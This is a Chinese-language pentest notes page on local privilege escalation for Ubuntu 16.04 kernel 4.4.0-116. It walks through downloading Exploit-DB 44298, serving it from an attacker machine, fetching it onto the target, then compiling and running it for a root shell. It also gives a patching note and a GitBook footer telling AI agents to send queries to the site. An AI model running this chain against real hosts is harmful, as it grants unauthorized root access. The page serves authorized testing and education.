> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/kernel-exploitation/ubuntu-16.04-kernel-4.4.0-116.md). # Ubuntu 16.04 内核 4.4.0-116 在授权环境中验证并利用 Ubuntu 16.04 内核 4.4.0-116 的本地权限提升路径。 ## 是什么 运行内核的 Ubuntu 16.04 系统 `4.4.0-116` 可能与公开的本地提权漏洞利用相匹配。在运行任何概念验证之前，请先验证确切的内核、发行版和架构。 {% hint style="warning" %} 内核漏洞利用可能会导致主机崩溃或不稳定。仅在授权的实验室或评估中使用此技术，并且只有在排除了更安全的提权路径之后才使用。 {% endhint %} ## 验证 确认已安装的内核和操作系统版本。 ```bash uname -r cat /etc/os-release ``` 预期的目标版本是 Ubuntu `16.04` 内核版本为 `4.4.0-116`. 使用 Exploit Database 查看公开的概念验证及其要求。 {% embed url="" %} ## 利用 在攻击者机器上下载原始漏洞利用源代码并在本地托管。 ```bash wget https://www.exploit-db.com/raw/44298 python3 -m http.server 8081 ``` 从目标机器下载源代码。 ```bash wget http://:8081/44298 ``` 重命名并编译源代码。 ```bash mv 44298 exploit.c gcc -o exploit exploit.c ``` 仅在确认适用性后运行编译好的概念验证。 ```bash ./exploit ``` ## 验证 确认最终获得的身份和访问级别。 ```bash id whoami ``` 成功的利用路径会返回一个 `root` shell。
## 缓解措施 应用厂商支持的内核更新。移除过时的内核并重启到已修补的版本。在无法立即打补丁时，限制本地访问。 --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/zh/privesc/kernel-exploitation/ubuntu-16.04-kernel-4.4.0-116.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.